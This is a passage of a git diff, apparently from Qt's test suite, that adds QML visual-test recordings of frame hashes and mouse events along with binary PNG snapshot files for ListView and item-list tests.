+ }
+ Frame {
+ msec: 3440
+ hash: "bb5ea2a238920a8486263bc7450edfb4"
+ }
+ Frame {
+ msec: 3456
+ hash: "bb5ea2a238920a8486263bc7450edfb4"
+ }
+ Frame {
+ msec: 3472
+ hash: "b554512bac0766063870c5b3acb1d24f"
+ }
+ Frame {
+ msec: 3488
+ hash: "b554512bac0766063870c5b3acb1d24f"
+ }
+ Frame {
+ msec: 3504
+ hash: "e4dacafba5ab5f8db53f08cef458cf42"
+ }
+ Frame {
+ msec: 3520
+ hash: "de7f3c83f37cc89c87009626c72e7642"
+ }
+ Frame {
+ msec: 3536
+ hash: "124da0099a7dd6fbf6dfd0ecfb09638c"
+ }
+ Frame {
+ msec: 3552
+ hash: "40204fdb7a84b86f1380224908092354"
+ }
+ Frame {
+ msec: 3568
+ hash: "ff93c3290b7d9a9743cc11d41a112a0a"
+ }
+ Frame {
+ msec: 3584
+ hash: "c3b219bdd7710427d134402a8d3e6429"
+ }
+ Frame {
+ msec: 3600
+ hash: "56e2f6b2ac103caf7ada3b56c19622c2"
+ }
+ Frame {
+ msec: 3616
+ hash: "8ef246d322446e7f0848b99495f89e2b"
+ }
+ Frame {
+ msec: 3632
+ hash: "8eb6d69d9833d0fbf87f951f489b71fe"
+ }
+ Frame {
+ msec: 3648
+ hash: "17deb6b26fc9d27d5194995c102da4ac"
+ }
+ Frame {
+ msec: 3664
+ hash: "5f6708f615654c459f5749676fc09016"
+ }
+ Frame {
+ msec: 3680
+ hash: "1734205ea5e7539b47d80c5a93ec74aa"
+ }
+ Frame {
+ msec: 3696
+ hash: "1734205ea5e7539b47d80c5a93ec74aa"
+ }
+ Frame {
+ msec: 3712
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3728
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3744
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3760
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3776
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3792
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3808
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3824
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3840
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3856
+ image: "itemlist.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3888
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3904
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3920
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3936
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3952
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3968
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 3984
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 4000
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 4016
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 4032
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 4048
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 4064
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 4080
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Frame {
+ msec: 4096
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 31; y: 137
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4112
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 32; y: 137
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4128
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 33; y: 136
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 36; y: 135
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4144
+ hash: "88143ff6c278a5433b314b551b7b8b1d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 40; y: 134
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: 132
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4160
+ hash: "f619097356671f6eb54d3b1c481e709d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4176
+ hash: "240081760f0cf2f02be4d6d2600d2bbc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 86; y: 126
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 110; y: 118
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 110; y: 118
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4192
+ hash: "3b85c1739fdf3933d8cb0b2eaf22e6e3"
+ }
+ Frame {
+ msec: 4208
+ hash: "f811f3c6b022730dd68ebd7b1659ea40"
+ }
+ Frame {
+ msec: 4224
+ hash: "2e97a74eb9ddb1c9613c89e2d78db018"
+ }
+ Frame {
+ msec: 4240
+ hash: "7b7f5daf5eaf047e69d04b5bcb73240c"
+ }
+ Frame {
+ msec: 4256
+ hash: "1af58a2f44f1f613712d4df85e38356d"
+ }
+ Frame {
+ msec: 4272
+ hash: "1bbdda445cec7f95a189c15d7e3c77b8"
+ }
+ Frame {
+ msec: 4288
+ hash: "91d8bcfebff29d2caf526b4012daaf46"
+ }
+ Frame {
+ msec: 4304
+ hash: "71ec8c363ca6a6f7556afb70faccffe6"
+ }
+ Frame {
+ msec: 4320
+ hash: "303ebc28d09a49de52cb1adaa03872dd"
+ }
+ Frame {
+ msec: 4336
+ hash: "9402e86bf4ffa62c60b02531a3735275"
+ }
+ Frame {
+ msec: 4352
+ hash: "5652de6fb2e107d41c0c5aeacf5a3055"
+ }
+ Frame {
+ msec: 4368
+ hash: "b6a2ade6565a86b1f8e369b02e0b93f9"
+ }
+ Frame {
+ msec: 4384
+ hash: "30dd35e0b9ffa846f3cfc39edcbae511"
+ }
+ Frame {
+ msec: 4400
+ hash: "401975fb4c9a48953aec25adb593eec4"
+ }
+ Frame {
+ msec: 4416
+ hash: "71f9039c7aa9c8dc6d1de4561b1d5537"
+ }
+ Frame {
+ msec: 4432
+ hash: "e1390ad02ae7a6e757df4a7af9032167"
+ }
+ Frame {
+ msec: 4448
+ hash: "53a26f00bd49b8a9c065be99f9402d9c"
+ }
+ Frame {
+ msec: 4464
+ hash: "b6e515e9a27af23b895f5024a41ce7b3"
+ }
+ Frame {
+ msec: 4480
+ hash: "85d143505d56f53c629358b37ad11581"
+ }
+ Frame {
+ msec: 4496
+ hash: "de5cbdd848a07b78f9c5eb510cca2d3e"
+ }
+ Frame {
+ msec: 4512
+ hash: "0ad7411316031e22034c14e81ca3a806"
+ }
+ Frame {
+ msec: 4528
+ hash: "32bef6f5005ad94e29ff59165958fbdc"
+ }
+ Frame {
+ msec: 4544
+ hash: "87758dd311f91193bf1e3536c2f58525"
+ }
+ Frame {
+ msec: 4560
+ hash: "d4c34ed49317c6692d71681fcd9842b6"
+ }
+ Frame {
+ msec: 4576
+ hash: "abaa235bb946a8abaddd52981d632c2d"
+ }
+ Frame {
+ msec: 4592
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4608
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4624
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4640
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4656
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4672
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4688
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4704
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4720
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4736
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4752
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4768
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4784
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4800
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4816
+ image: "itemlist.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4848
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4864
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4880
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4896
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4912
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4928
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4944
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4960
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4976
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 4992
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5008
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5024
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5040
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5056
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5072
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5088
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5104
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5120
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5136
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5152
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5168
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5184
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5200
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5216
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Frame {
+ msec: 5232
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 17; y: 120
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5248
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 19; y: 120
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 21; y: 120
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5264
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 24; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 28; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5280
+ hash: "99f9988040a389576cb6420b5391f768"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 35; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 44; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5296
+ hash: "6ffd2b79cf0e941a59e74bc6f9025bcb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 96; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 96; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5312
+ hash: "4aa05d978267325ae00cb45e310a2f01"
+ }
+ Frame {
+ msec: 5328
+ hash: "b5717b311259c77a0210e26ab99dd401"
+ }
+ Frame {
+ msec: 5344
+ hash: "9b3fde82278fa2f0caaf64cf23bb6530"
+ }
+ Frame {
+ msec: 5360
+ hash: "e7795610115593e78bb32f7bcc0ae2eb"
+ }
+ Frame {
+ msec: 5376
+ hash: "0dc7c4c161e0b3c3d176e5e6bc08a805"
+ }
+ Frame {
+ msec: 5392
+ hash: "7c2b0307c4040d8d9e88425b3bf3fb70"
+ }
+ Frame {
+ msec: 5408
+ hash: "06ce7db518da042e04dd3f79b7220974"
+ }
+ Frame {
+ msec: 5424
+ hash: "7aeec517e845c1c5012ed63be6bbd006"
+ }
+ Frame {
+ msec: 5440
+ hash: "53e9d5a0098f2e91bbea45360b876607"
+ }
+ Frame {
+ msec: 5456
+ hash: "22a6c7f3dcb5a36592909783b2466c8d"
+ }
+ Frame {
+ msec: 5472
+ hash: "9d8da9199efebb95f56e5d4ebc9a585e"
+ }
+ Frame {
+ msec: 5488
+ hash: "c553400402f233a6246be4e544b433ae"
+ }
+ Frame {
+ msec: 5504
+ hash: "c2e41a54c03340832db93f6f88393f00"
+ }
+ Frame {
+ msec: 5520
+ hash: "3622a619a99c939e96636a86c4428ba3"
+ }
+ Frame {
+ msec: 5536
+ hash: "e65d5e6c756e750e6d98096fe211465c"
+ }
+ Frame {
+ msec: 5552
+ hash: "cabd6d30b1f4e42b38b73803aae6d5be"
+ }
+ Frame {
+ msec: 5568
+ hash: "68d443f16c16821ffc9ca68b17c76034"
+ }
+ Frame {
+ msec: 5584
+ hash: "a68b1bc6c2963ee92c3a45f500667b3b"
+ }
+ Frame {
+ msec: 5600
+ hash: "805319ac7ca842feb3649e92f8b5b72f"
+ }
+ Frame {
+ msec: 5616
+ hash: "fd8d3f5688b1806998c6087e18c6c730"
+ }
+ Frame {
+ msec: 5632
+ hash: "b135c8c9975f4d45d2054cf31d0b1fe1"
+ }
+ Frame {
+ msec: 5648
+ hash: "40382f644935dc4e99353fa29c3e0b21"
+ }
+ Frame {
+ msec: 5664
+ hash: "aa32e4c20c6a43c4ef7991a9418e57fe"
+ }
+ Frame {
+ msec: 5680
+ hash: "b8db9180b4ad15fdbd25a4e974512f92"
+ }
+ Frame {
+ msec: 5696
+ hash: "127871a98123b7bd44f4c38f27cbc836"
+ }
+ Frame {
+ msec: 5712
+ hash: "35fe67a91e50f8ebc896451b39cb8f1c"
+ }
+ Frame {
+ msec: 5728
+ hash: "35fe67a91e50f8ebc896451b39cb8f1c"
+ }
+ Frame {
+ msec: 5744
+ hash: "0b7fc796f818bddcada99e9981f1cce0"
+ }
+ Frame {
+ msec: 5760
+ hash: "35fe67a91e50f8ebc896451b39cb8f1c"
+ }
+ Frame {
+ msec: 5776
+ image: "itemlist.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "35fe67a91e50f8ebc896451b39cb8f1c"
+ }
+ Frame {
+ msec: 5808
+ hash: "2311ce1a83a43619ab7ce537a2b948e1"
+ }
+ Frame {
+ msec: 5824
+ hash: "2311ce1a83a43619ab7ce537a2b948e1"
+ }
+ Frame {
+ msec: 5840
+ hash: "127871a98123b7bd44f4c38f27cbc836"
+ }
+ Frame {
+ msec: 5856
+ hash: "b8db9180b4ad15fdbd25a4e974512f92"
+ }
+ Frame {
+ msec: 5872
+ hash: "65af7a4a4aea5a983ea3fb9324e74256"
+ }
+ Frame {
+ msec: 5888
+ hash: "aa32e4c20c6a43c4ef7991a9418e57fe"
+ }
+ Frame {
+ msec: 5904
+ hash: "b3e92eb4cfe548b92ac526066dfc7d23"
+ }
+ Frame {
+ msec: 5920
+ hash: "39fcad34db24d591e24c8ae1c7094d5b"
+ }
+ Frame {
+ msec: 5936
+ hash: "165b91b850bcb8dd1d9b1eaa6f81be57"
+ }
+ Frame {
+ msec: 5952
+ hash: "f34d2248999f5f51210064315d631f60"
+ }
+ Frame {
+ msec: 5968
+ hash: "f34d2248999f5f51210064315d631f60"
+ }
+ Frame {
+ msec: 5984
+ hash: "b135c8c9975f4d45d2054cf31d0b1fe1"
+ }
+ Frame {
+ msec: 6000
+ hash: "b135c8c9975f4d45d2054cf31d0b1fe1"
+ }
+ Frame {
+ msec: 6016
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6032
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6048
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6064
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6080
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6096
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6112
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6128
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6144
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6160
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6176
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6192
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6208
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6224
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6240
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6256
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6272
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6288
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6304
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6320
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6336
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6352
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6368
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6384
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6400
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6416
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6432
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6448
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6464
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6480
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6496
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6512
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6528
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6544
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6560
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6576
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6592
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6608
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6624
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6640
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6656
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6672
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6688
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6704
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6720
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6736
+ image: "itemlist.7.png"
+ }
+ Frame {
+ msec: 6752
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6768
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6784
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6800
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6816
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6832
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6848
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6864
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6880
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6896
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6912
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6928
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6944
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6960
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6976
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 6992
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7008
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7024
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7040
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7056
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7072
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7088
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7104
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7120
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7136
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7152
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7168
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7184
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7200
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7216
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7232
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7248
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7264
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7280
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7296
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+ Frame {
+ msec: 7312
+ hash: "bf47cc398a702dd17c8efebb3d2f8073"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.0.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.0.png
new file mode 100644
index 00000000..71926d71
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/listview.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.1.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.1.png
new file mode 100644
index 00000000..80f82e41
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/listview.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.2.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.2.png
new file mode 100644
index 00000000..61501bb1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/listview.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.3.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.3.png
new file mode 100644
index 00000000..51c4eb13
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/listview.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.4.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.4.png
new file mode 100644
index 00000000..81e00ed6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/listview.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.5.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.5.png
new file mode 100644
index 00000000..d1f06fa0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/listview.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.6.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.6.png
new file mode 100644
index 00000000..9e6e29c6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/listview.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.7.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.7.png
new file mode 100644
index 00000000..9e7bd6eb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/listview.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.8.png b/tests/auto/declarative/qmlvisual/ListView/data/listview.8.png
new file mode 100644
index 00000000..9e7bd6eb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/listview.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/listview.qml b/tests/auto/declarative/qmlvisual/ListView/data/listview.qml
new file mode 100644
index 00000000..b1ffe8f5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/listview.qml
@@ -0,0 +1,2227 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "listview.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 48
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 64
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 80
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 96
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 112
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 128
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 144
